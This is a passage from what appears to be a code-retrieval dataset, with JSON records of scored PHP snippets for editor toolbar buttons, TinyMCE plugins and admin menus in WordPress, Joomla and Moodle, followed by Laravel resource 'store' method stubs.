'wishdd_register_mce_button' );\n }\n}", "title": "" }, { "docid": "d0af4fe9694bb84bd1758cd2da8b65f0", "score": "0.507081", "text": "function my_mce_buttons_2( $buttons ) {\t\n\t$buttons[] = 'superscript';\n\t$buttons[] = 'subscript';\n\n\treturn $buttons;\n}", "title": "" }, { "docid": "1e573266d44bcfb7d4af476c488411ef", "score": "0.5066641", "text": "function InlineEditMode() {\n\t\tglobal $Security, $acc_setting_coa;\n\t\t$bInlineEdit = TRUE;\n\t\tif (@$_GET[\"id\"] <> \"\") {\n\t\t\t$acc_setting_coa->id->setQueryStringValue($_GET[\"id\"]);\n\t\t} else {\n\t\t\t$bInlineEdit = FALSE;\n\t\t}\n\t\tif ($bInlineEdit) {\n\t\t\tif ($this->LoadRow()) {\n\t\t\t\t$acc_setting_coa->setKey(\"id\", $acc_setting_coa->id->CurrentValue); // Set up inline edit key\n\t\t\t\t$_SESSION[EW_SESSION_INLINE_MODE] = \"edit\"; // Enable inline edit\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "8fdc69f0d1ff0ebeb4efcbf413b549c9", "score": "0.50643337", "text": "function _populate_node_toolbar()\n {\n if ($this->_topic->can_do('midgard:create'))\n {\n foreach (array_keys($this->_request_data['schemadb_person']) as $name)\n {\n $this->_node_toolbar->add_item\n (\n array\n (\n MIDCOM_TOOLBAR_URL => \"person/create/{$name}/\",\n MIDCOM_TOOLBAR_LABEL => sprintf\n (\n $this->_l10n_midcom->get('create %s'),\n $this->_request_data['schemadb_person'][$name]->description\n ),\n MIDCOM_TOOLBAR_ICON => 'fi.kilonkipinat.website/fam/user_add.png',\n )\n );\n }\n }\n if ($this->_topic->can_do('fi.kilonkipinat.account:jobhistory_moderation'))\n {\n $this->_node_toolbar->add_item\n (\n array\n (\n MIDCOM_TOOLBAR_URL => 'jobhistory/manage_titles/',\n MIDCOM_TOOLBAR_LABEL => 'Hallinnoi pestinimikkeitä',\n MIDCOM_TOOLBAR_ICON => 'fi.kilonkipinat.website/fam/vcard.png',\n )\n );\n }\n if ( $this->_topic->can_do('midgard:update')\n && $this->_topic->can_do('midcom:component_config'))\n {\n $this->_node_toolbar->add_item\n (\n array\n (\n MIDCOM_TOOLBAR_URL => 'config/',\n MIDCOM_TOOLBAR_LABEL => $this->_l10n_midcom->get('component configuration'),\n MIDCOM_TOOLBAR_HELPTEXT => $this->_l10n_midcom->get('component configuration helptext'),\n MIDCOM_TOOLBAR_ICON => 'stock-icons/16x16/stock_folder-properties.png',\n )\n );\n }\n\n }", "title": "" }, { "docid": "e73067a8f5b9e79d6667ad146041904d", "score": "0.5056071", "text": "function edit()\n {\n }", "title": "" }, { "docid": "d74ee5008d9ac190f583505a9e85e853", "score": "0.50518745", "text": "function Edit()\n {\n }", "title": "" }, { "docid": "d74ee5008d9ac190f583505a9e85e853", "score": "0.50518745", "text": "function Edit()\n {\n }", "title": "" }, { "docid": "d74ee5008d9ac190f583505a9e85e853", "score": "0.50518745", "text": "function Edit()\n {\n }", "title": "" }, { "docid": "d192f2f882c33f1b7b8062f72887dc9c", "score": "0.5048616", "text": "protected function addToolbar()\n\t{\n\n\n\t\t$state = $this->get('State');\n\t\t$canDo = AuthorpostsHelper::getActions('com_authorposts');\n\t\t$user = JFactory::getUser();\n\n\t\tJToolBarHelper::title(JText::_('COM_AUTHORPOSTS') . ' :: ' . JText::_('COM_AUTHORPOSTS_CPANEL'));\n\n\t\tif ($user->authorise('core.admin', 'com_authorposts') || $user->authorise('core.options', 'com_authorposts'))\n\t\t{\n\t\t\tJToolBarHelper::preferences('com_authorposts');\n\t\t}\n\n\t\t$this->extra_sidebar = '';\n\t}", "title": "" }, { "docid": "7632ccc3340eca1660e7fd4b16835419", "score": "0.5047378", "text": "protected function addToolbar()\n\t{\n JFactory::getApplication()->input->set('hidemainmenu', true);\n\t\t$user = JFactory::getUser();\n\t\t$userId = $user->get('id');\n\t\t$isNew = ($this->item->id == 0);\n\n\t\tJToolBarHelper::title(JText::_('COM_FLEXIMPORT_' . ($isNew ? 'ADD_FIELD' : 'EDIT_FIELD')), 'fields');\n\n\t\tif ($isNew) {\n\t\t\t// For new records, check the create permission.\n\t\t\tif ($user->authorise('core.create', 'com_fleximport')) {\n\t\t\t\tJToolBarHelper::apply('field.apply', 'JTOOLBAR_APPLY');\n\t\t\t\tJToolBarHelper::save('field.save', 'JTOOLBAR_SAVE');\n\t\t\t}\n\t\t\tJToolBarHelper::cancel('field.cancel', 'JTOOLBAR_CANCEL');\n\t\t}else {\n\t\t\tif ($user->authorise('core.edit', 'com_fleximport')) {\n\t\t\t\t// We can save the new record\n\t\t\t\tJToolBarHelper::apply('field.apply', 'JTOOLBAR_APPLY');\n\t\t\t\tJToolBarHelper::save('field.save', 'JTOOLBAR_SAVE');\n\t\t\t}\n\t\t\tJToolBarHelper::cancel('field.cancel', 'JTOOLBAR_CLOSE');\n\t\t}\n\t}", "title": "" }, { "docid": "82aa589f6b6b88214ef464ed71194224", "score": "0.50367683", "text": "public function content_callback()\n\t{\n\t\t$settings = array(\n\t\t\t'teeny' => true,\n\t\t\t'textarea_rows' => 10,\n\t\t\t'tabindex' => 0,\n\t\t\t'media_buttons' => 1,\n\t\t\t'textarea_name' => TICKETS_OPTION_FIELD.'['.TICKETS_CONTENT_TEMPLATE_FIELD.']'\n\t\t);\n\t\twp_editor($this->options[TICKETS_CONTENT_TEMPLATE_FIELD], 'expert_answer', $settings);\n\t}", "title": "" }, { "docid": "736e63d8a961881850d28b08d48b0e04", "score": "0.50343364", "text": "function addToolbar() {\r\n\t\tJRequest::setVar('hidemainmenu', true);\t\r\n\t\t\r\n\t\t// Determine which actions could be taken\r\n\t\t$canDo = Qlue404Helper::getActions();\t\r\n\t\t\r\n\t\t// Check if our item is new\r\n\t\t$isNew = ($this->item->id == 0);\r\n\t\t\t\r\n\t\t// Set the title\r\n\t\tJToolBarHelper::title($isNew ? JText::_('COM_QLUE404_CREATING') : JText::_('COM_QLUE404_EDITING'), 'generic.png');\r\n\t\t\r\n\t\tif($isNew) {\r\n\t\t\t\t\r\n\t\t\t// If user can create then show buttons\r\n\t\t\tif($canDo->get('core.create')) {\r\n\t\t\t\tJToolBarHelper::save('custom.save');\r\n\t\t\t\tJToolBarHelper::apply('custom.apply');\r\n\t\t\t}\t\t\t\r\n\t\t} else {\r\n\t\t\r\n\t\t\t// If user can edit then show buttons\r\n\t\t\tif($canDo->get('core.edit')) {\r\n\t\t\t\tJToolBarHelper::save('custom.save');\r\n\t\t\t\tJToolBarHelper::apply('custom.apply');\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tJToolBarHelper::cancel('custom.cancel', $isNew ? 'JTOOLBAR_CANCEL' : 'JTOOLBAR_CLOSE');\r\n\t}", "title": "" }, { "docid": "1575d4fb7d52f6aafb8c43ff5fc11d13", "score": "0.5034307", "text": "function themeton_shortcode_addbuttons() {\n if ( ( current_user_can('edit_posts') || current_user_can('edit_pages') ) && get_user_option('rich_editing') ) {\n add_filter(\"mce_external_plugins\", \"add_themeton_shortcode_tinymce_plugin\");\n add_filter('mce_buttons', 'register_themeton_shortcode_button');\n }\n}", "title": "" }, { "docid": "5a73b8e4f4ab7ec53525482f908cd89f", "score": "0.5032535", "text": "abstract public function edit();", "title": "" }, { "docid": "252e0237ff62a14ba664018f36eb3a32", "score": "0.50285095", "text": "function iep_fa_button($editor_id)\n{\n\tglobal $context;\n\n\t$context['controls']['richedit'][$editor_id]['plugin_addons'][] = 'fontawesome';\n}", "title": "" }, { "docid": "ab0e8cb1f7ffad63d9f9212db0c77a2c", "score": "0.5028363", "text": "protected function addToolBar()\n\t{\n\t\t$input = Factory::getApplication()->input;\n \n\t\t// Hide Joomla Administrator Main menu\n\t\t#$input->set('hidemainmenu', true);\n\t\t\n\t\t$fromTemplate = $input->get('fromTemplate','0','INT');\n\t\t\n\t\t$isNew = ($this->item->id == 0);\n \n\t\tif ($isNew)\n\t\t{\n\t\t\t$title = Text::_('COM_TVM_ADD_TITLE');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$title = Text::_('COM_TVM_EDIT_TITLE');\n\t\t}\n\t\tif($fromTemplate == '1') {\n\t\t\tToolBarHelper::custom('tvm.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false);\n\t\t} else {\n\t\t\tToolBarHelper::save('tvm.save');\n\t\t}\n\t\tToolBarHelper::title($title, 'tvm');\n\t\t\n\t\t\n\t\tToolBarHelper::cancel(\n\t\t\t'tvm.cancel',\n\t\t\t$isNew ? 'JTOOLBAR_CANCEL' : 'JTOOLBAR_CLOSE'\n\t\t);\n\t}", "title": "" }, { "docid": "5045e6c3bf2125dddf9219ea2d2b7186", "score": "0.50222087", "text": "public function activate(){\n MenuItem::add(array(\n 'plugin' => $this->_plugin,\n 'name' => 'h-page-editor-manage',\n 'labelKey' => $this->_plugin . '.manage-pages-menu-title',\n 'action' => 'h-page-editor-manage-pages',\n 'parentId' => MenuItem::ADMIN_ITEM_ID,\n 'icon' => 'pagelines'\n ));\n\n Option::set($this->_plugin . '.url-prefix', Page::URI_PREFIX);\n }", "title": "" }, { "docid": "f052532f907f3322e6ee6dc380460339", "score": "0.50169885", "text": "function inline_before_main_content() { do_action( 'inline_before_main_content' ); }", "title": "" }, { "docid": "b18cfefeb4f4dbfef0e354ce72fa08ab", "score": "0.5009316", "text": "public function hook_before_edit(&$postdata, $id)\n {\n //Your code here\n\n }", "title": "" }, { "docid": "a8eefe28d377c9d019a33b7a65d7d173", "score": "0.50080025", "text": "function zeemaps_addbuttons() {\n // Don't bother doing this stuff if the current user lacks permissions\n\tif (!current_user_can('edit_posts') && !current_user_can('edit_pages'))\n\t\treturn;\n\t\t\t\n\t// Add only in Rich Editor mode\n\tif (get_user_option('rich_editing') == 'true') {\n\t\tadd_filter(\"mce_external_plugins\", \"add_zeemaps_tinymce_plugin\");\n\t\tadd_filter('mce_buttons_2', 'register_zeemaps_button');\n\t}\n}", "title": "" }, { "docid": "1be4c269664899366a6dc2fbdb004f3b", "score": "0.50049824", "text": "protected function addToolbar()\n\t{\n\t\t$user = JFactory::getUser();\n\n\t\t// Get the toolbar object instance\n\t\t$bar = JToolBar::getInstance('toolbar');\n\n\t\tJToolbarHelper::title(JText::_('TRANSLATION_MANAGER'), 'article.png');\n\n\t\tJToolbarHelper::preferences('com_jalang');\n\n\t\tif (JalangHelper::isInstalled('com_flexicontent')) {\n\t\t\tJToolBarHelper::custom('tool.bindFLEXI', 'copy', '', JText::_('Transfer to FLEXI'));\n\t\t}\n\t\tif(JalangHelper::isJoomla3x()) {\n\t\t\tJHtmlSidebar::setAction('index.php?option=com_jalang&view=tool');\n\t\t}\n\t}", "title": "" }, { "docid": "82ce9da53d3cb7064b2d81f8ed35ec6d", "score": "0.50044376", "text": "public function getEdit();", "title": "" }, { "docid": "8d88f0f47fd732d195b4cab0261c07b7", "score": "0.5001703", "text": "function pu_shortcode_button()\n{\n if( current_user_can('edit_posts') && current_user_can('edit_pages') )\n {\n add_filter( 'mce_external_plugins', 'pu_add_buttons' );\n add_filter( 'mce_buttons', 'pu_register_buttons' );\n }\n}", "title": "" }, { "docid": "51f59abd7a48d462b9bf7e4200a351aa", "score": "0.4989091", "text": "function init (&$EDITOR) {\n\t\t/* you can use PHP plugins to load JSPlugins: */\n\t\t$EDITOR->addJSPlugin('EXAMPLE', 'plugin.js');\n\t\t\n\t\t/* PHP plugins are often used to add custom buttons to the toolbar */\n\t\t\n\t\t/* first register the buttons */\n\t\t$EDITOR->registerButton('exButton1', 'Example Button 1', 'WPro.editors[\\'##originalName##\\'].openDialogPlugin(\\'EXAMPLE&action=1\\', 485, 300)', '##editorURL##plugins/EXAMPLE/includes/exButton1.gif');\n\t\t$EDITOR->registerButton('exButton2', 'Example Button 2', 'WPro.editors[\\'##originalName##\\'].openDialogPlugin(\\'EXAMPLE&action=2\\', 220, 220)', '##editorURL##plugins/EXAMPLE/includes/exButton2.gif');\n\t\t$EDITOR->registerButton('exButton3', 'Example Button 3', 'WPro.editors[\\'##originalName##\\'].plugins[\\'EXAMPLE\\'].exButton3Clicked()', '##editorURL##plugins/EXAMPLE/includes/exButton3.gif');\n\t\n\t\t/* then add them to the current toolbar layout, 'end:1' adds them to the end of the second toolbar, toolbars are 0 indexed.\n\t\tOr instead we could leave it up to the developer to add the buttons if they want to use them */\n\t\t$EDITOR->addRegisteredButton('exButton1', 'end:1');\n\t\t$EDITOR->addRegisteredButton('exButton2', 'end:1');\n\t\t$EDITOR->addRegisteredButton('exButton3', 'end:1');\n\t\t\n\t\t/* add a separator before the buttons */\n\t\t$EDITOR->addRegisteredButton('separator', 'before:exButton1');\n\t}", "title": "" }, { "docid": "bb61cddeb5ae09365fe90bf4acee95a0", "score": "0.49828097", "text": "function ioctoolbar_buttons(& $event, $param) {\n $event->data[] = array (\n 'type' => 'picker',\n 'title' => $this->getLang('toolbar_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_toolbar.png',\n 'class' => 'ioctoolbar',\n 'list' => array(\n array(\n 'type' => 'format',\n 'title' => $this->getLang('newcontent_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_newcontent.png',\n 'open' => '<newcontent>\\n',\n 'close' => '\\n</newcontent>',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('figure_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_figure.png',\n 'key' => 'z',\n 'open' => '::figure:\\n :title:\\n :footer:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('figlink_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_figlink.png',\n 'open' => ':figure:',\n 'close' => ':',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('table_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_table.png',\n 'key' => 't',\n 'open' => '::table:\\n :title:\\n :footer:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('tablink_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_tablink.png',\n 'open' => ':table:',\n 'close' => ':',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('text_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_text.png',\n 'open' => '::text:\\n :title:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('textlarge_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_textlarge.png',\n 'open' => '::text:\\n :title:\\n :large:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('example_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_example.png',\n 'open' => '::example:\\n :title:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('note_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_note.png',\n 'open' => '::note:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('reference_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_reference.png',\n 'open' => '::reference:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('important_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_important.png',\n 'open' => '::important:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('quote_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_quote.png',\n 'open' => '::quote:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('include_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_include.png',\n 'open' => '::include:\\n',\n 'close' => '\\n:::\\n',\n ),\n array(\n 'type' => 'format',\n 'title' => $this->getLang('accounting_btn'),\n 'icon' => '../../plugins/iocexportl/img/ico_table.png',\n 'open' => '::accounting:\\n :title:\\n :footer:\\n',\n 'close' => '\\n:::\\n',\n ),\n ),\n 'block' => TRUE,\n );\n }", "title": "" }, { "docid": "2c02f55e56cf2cedf25c5ca39f03af93", "score": "0.49800527", "text": "public function customize_admin_toolbar() {\n global $wp_admin_bar;\n\n $wp_admin_bar->remove_menu('updates');\n $wp_admin_bar->remove_menu('comments');\n $wp_admin_bar->remove_menu('new-content');\n\n if ( current_user_can('edit_posts') ) {\n \n $wp_admin_bar->add_menu( array(\n 'id' => 'wpwa-developers',\n 'title' => 'Developer Components',\n 'href' => admin_url()\n ));\n\n $wp_admin_bar->add_menu( array(\n 'id' => 'wpwa-new-books',\n 'title' => 'Books',\n 'href' => admin_url() . \"post-new.php?post_type=wpwa_book\",\n 'parent' => 'wpwa-developers'\n ));\n\n $wp_admin_bar->add_menu( array(\n 'id' => 'wpwa-new-projects',\n 'title' => 'Projects',\n 'href' => admin_url() . \"post-new.php?post_type=wpwa_project\",\n 'parent' => 'wpwa-developers'\n ));\n }\n }", "title": "" }, { "docid": "bdbaf8bcdb4cd62df1f1047ed13d2bba", "score": "0.49767599", "text": "function my_register_mce_button( $buttons ) {\n array_push( $buttons, 'columnas' );\n return $buttons;\n}", "title": "" }, { "docid": "bc2507617193d22cf5d96dadd6853a72", "score": "0.49767518", "text": "public function xeditable() {\n\n // page level styles\n $this->css['pages'] = [\n 'global/plugins/bower_components/fontawesome/css/font-awesome.min.css',\n 'global/plugins/bower_components/animate.css/animate.min.css',\n 'global/plugins/bower_components/select2-ng/select2.css',\n 'global/plugins/bower_components/select2-ng/select2-bootstrap.css',\n 'global/plugins/bower_components/smalot-bootstrap-datetimepicker/css/bootstrap-datetimepicker.min.css',\n 'global/plugins/bower_components/x-editable/dist/bootstrap3-editable/css/bootstrap-editable.css',\n 'global/plugins/bower_components/x-editable/dist/inputs-ext/typeaheadjs/lib/typeahead.js-bootstrap.css',\n 'global/plugins/bower_components/x-editable/dist/inputs-ext/address/address.css',\n ];\n\n // theme styles\n $this->css['themes'] = [\n 'admin/css/reset.css',\n 'admin/css/layout.css',\n 'admin/css/components.css',\n 'admin/css/plugins.css',\n 'admin/css/themes/laravel.theme.css' => ['id' => 'theme'],\n 'admin/css/custom.css',\n ];\n\n // page level plugins\n $this->js['plugins'] = [\n 'global/plugins/bower_components/jquery-mockjax/jquery.mockjax.js',\n 'global/plugins/bower_components/moment/min/moment.min.js',\n 'global/plugins/bower_components/select2-ng/select2.min.js',\n 'global/plugins/bower_components/smalot-bootstrap-datetimepicker/js/bootstrap-datetimepicker.min.js',\n 'global/plugins/bower_components/x-editable/dist/bootstrap3-editable/js/bootstrap-editable.min.js',\n 'global/plugins/bower_components/x-editable/dist/inputs-ext/typeaheadjs/lib/typeahead.js',\n 'global/plugins/bower_components/x-editable/dist/inputs-ext/typeaheadjs/typeaheadjs.js',\n 'global/plugins/bower_components/x-editable/dist/inputs-ext/address/address.js',\n ];\n\n // page level scripts\n $this->js['scripts'] = [\n 'admin/js/apps.js',\n 'admin/js/pages/blankon.form.xeditable.js',\n 'admin/js/demo.js'\n ];\n\n // pass variable to view\n View::share('css', $this->css);\n View::share('js', $this->js);\n View::share('title', 'FORM X-EDITABLE | BLANKON - Fullpack Admin Theme');\n\n return view('form/xeditable');\n }", "title": "" }, { "docid": "ff8e6d4e483b1485d266db5ace8a6af8", "score": "0.49764115", "text": "function edit() {\n\n //quay tro lai trang danh sach\n }", "title": "" }, { "docid": "04c56776092bbdb4e225b4221b756723", "score": "0.49730977", "text": "protected function _addScripts() {\n\n // Functional scripts\n $this->_formScripts[] = \"\n function toggleEditor() {\n\n var textareas = document.getElementsByTagName('textarea'),\n forEach = Array.prototype.forEach,\n regex = /^block_multilanguage_content.*$/;\n\n forEach.call(textareas, function (contentElem) {\n if (contentElem.id !== undefined && regex.test(contentElem.id)) {\n if (tinyMCE.getInstanceById(contentElem.id) == null) {\n tinyMCE.execCommand('mceAddControl', false, contentElem.id);\n } else {\n tinyMCE.execCommand('mceRemoveControl', false, contentElem.id);\n }\n }\n })\n\n }\n\n function saveAndContinueEdit(){\n editForm.submit($('edit_form').action+'back/edit/');\n }\n \";\n\n }", "title": "" }, { "docid": "7ce2e4a3dbe75187022d74d3cc5973eb", "score": "0.49723148", "text": "public function getToolbarHTML();", "title": "" }, { "docid": "948672c3d816fe68ec7370526b3d2dea", "score": "0.49720845", "text": "protected function addToolbar()\n\t{\n\t\t$canDo\t= documentHelper::getActions();\n\t\tJToolBarHelper::title(JText::_('COM_DOCUMENT_UPLOAD_TITLE'), 'install.png');\n\n\t\tif ($canDo->get('core.admin')) {\n\t\t\tJToolBarHelper::preferences('com_document');\n\t\t\tJToolBarHelper::divider();\n\t\t}\n\n\t\t// Document\n\t\t$document = JFactory::getDocument();\n\t\t$document->setTitle(JText::_('COM_DOCUMENT_UPLOAD_TITLE'));\n\n\t\t//var_dump($document);\n\t\t//exit();\n\t}", "title": "" }, { "docid": "a80ab773e15b921c9d8b532a05dbc690", "score": "0.4969207", "text": "public function use_editor($elementid, array $options=null, $fpoptions=null) {\n global $PAGE;\n\n if (array_key_exists('atto:toolbar', $options)) {\n $configstr = $options['atto:toolbar'];\n } else {\n $configstr = get_config('editor_atto', 'toolbar');\n }\n\n $grouplines = explode(\"\\n\", $configstr);\n\n $groups = array();\n\n foreach ($grouplines as $groupline) {\n $line = explode('=', $groupline);\n if (count($line) > 1) {\n $group = trim(array_shift($line));\n $plugins = array_map('trim', explode(',', array_shift($line)));\n $groups[$group] = $plugins;\n }\n }\n\n $modules = array('moodle-editor_atto-editor');\n $options['context'] = empty($options['context']) ? context_system::instance() : $options['context'];\n\n $jsplugins = array();\n foreach ($groups as $group => $plugins) {\n $groupplugins = array();\n foreach ($plugins as $plugin) {\n // Do not die on missing plugin.\n if (!core_component::get_component_directory('atto_' . $plugin)) {\n continue;\n }\n\n // Remove manage files if requested.\n if ($plugin == 'managefiles' && isset($options['enable_filemanagement']) && !$options['enable_filemanagement']) {\n continue;\n }\n\n $jsplugin = array();\n $jsplugin['name'] = $plugin;\n $jsplugin['params'] = array();\n $modules[] = 'moodle-atto_' . $plugin . '-button';\n\n component_callback('atto_' . $plugin, 'strings_for_js');\n $extra = component_callback('atto_' . $plugin, 'params_for_js', array($elementid, $options, $fpoptions));\n\n if ($extra) {\n $jsplugin = array_merge($jsplugin, $extra);\n }\n // We always need the plugin name.\n $PAGE->requires->string_for_js('pluginname', 'atto_' . $plugin);\n $groupplugins[] = $jsplugin;\n }\n $jsplugins[] = array('group'=>$group, 'plugins'=>$groupplugins);\n }\n\n $PAGE->requires->strings_for_js(array(\n 'editor_command_keycode',\n 'editor_control_keycode',\n 'plugin_title_shortcut',\n 'textrecovered',\n 'autosavefailed',\n 'autosavesucceeded',\n 'errortextrecovery'\n ), 'editor_atto');\n $PAGE->requires->strings_for_js(array(\n 'warning',\n 'info'\n ), 'moodle');\n $PAGE->requires->yui_module($modules,\n 'Y.M.editor_atto.Editor.init',\n array($this->get_init_params($elementid, $options, $fpoptions, $jsplugins)));\n\n }", "title": "" }, { "docid": "34a69ac06f75453256ac5a95bd1b59ee", "score": "0.496291", "text": "function EditButton($link,$short = false,$targetTop = false,$customText = \"\")\n{\n return '<a '.(($targetTop) ? 'target=\"_top\"' : '').' style=\"margin: 0px 3px\" href=\"'.$link.'\"> &#9998; '.((!$short) ? (($customText!=\"\") ? $customText : 'Bearbeiten') : '').'</a>';\n}", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "5ba807527f81a6abefe0cfa8ee3a7aa0", "score": "0.0", "text": "public function store(CuatrimestreFormRequest $request)\n {\n $cuatrimestre=new Cuatrimestre;\n $cuatrimestre->descripcioncu=$request->get('descripcioncu');\n $cuatrimestre->save();\n return Redirect::to('admin/cuatrimestre');\n }", "title": "" } ]
[ { "docid": "66fc929ce2208598ecac269021e7947f", "score": "0.72289926", "text": "public function store()\n {\n // Use the parent API to save the resource\n $object = $this->api()->store();\n\n // Redirect back with message\n return $this->back('created', ['id' => $object->id])\n ->with('message', $this->message('created') );\n }", "title": "" }, { "docid": "bbc87396bab9e03eae11f7a5d70bb9f4", "score": "0.70448303", "text": "public function store(ResourceCreateRequest $request)\n {\n if($resource = Resource::create($request->all()))\n {\n if ($request->hasFile('document')) {\n $file = $request->document;\n $path = Storage::putFile('files/resources', $file);\n $resource->file = $path;\n $resource->save();\n }\n SweetAlert::success('Resource created successfully', 'Resource Created');\n }\n else\n {\n SweetAlert::error('Resource was not created. Please correct your errors.', 'Oops!');\n return back();\n }\n return redirect('admin/resources');\n }", "title": "" }, { "docid": "0a2dcecef8071427bb4f3c22969d6817", "score": "0.6619958", "text": "public function store()\n {\n if (!$this->id) {\n $this->id = $this->insertObject();\n } else {\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "39bea6da81fe955b5bc1e31916165a92", "score": "0.6423722", "text": "public function store(Request $request)\n {\n $this->validate($request, Resource::getValidationRules());\n $input = $request->all();\n $resource = Resource::create([\n 'type' => $input['type'],\n 'data' => $input['data'],\n 'description' => $input['description'],\n 'author_id' => $request->user()->id,\n ]);\n $resource->save();\n // return view('resources.show', ['resource' => $resource]);\n return redirect()->route('resources.show', ['id' => $resource->id]);\n }", "title": "" }, { "docid": "55b375ea7c339e8f0e9c38919b53b1db", "score": "0.637569", "text": "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "48a4f5d82e2ca95f2db842758d31ad70", "score": "0.63516957", "text": "public function store(CreateResourcesRequest $request)\n\t{\n\t\t$input = $request->all();\n\n\t\t$input['objectId'] = 'Reses'.str_random(10);\n\n\t\tif($request->file('author_img_path')){\n\t\t\t$image = $this->uploadImage($request->file('author_img_path'),'/authors_photo/');\n\t\t\t$input['author_img_path'] = $image['resize_url'][0];\n\t\t}\n\t\tif($request->file('resource_icon_img')){\n\t\t\t$image = $this->uploadImage($request->file('resource_icon_img'),'/resources_photo/');\n\t\t\t$input['resource_icon_img'] = $image['resize_url'][0];\n\t\t}\n\n\t\t$resources = $this->resourcesRepository->create($input);\n\n\t\tFlash::success('Resources saved successfully.');\n\n\t\treturn redirect(route('resources.index'));\n\t}", "title": "" }, { "docid": "df49e7e65ee574fc2aeeafed99804329", "score": "0.6347012", "text": "public function store()\n {\n $sanitized = request()->all();\n return new $this->resource($this->manager->storeOrUpdate($sanitized));\n }", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function 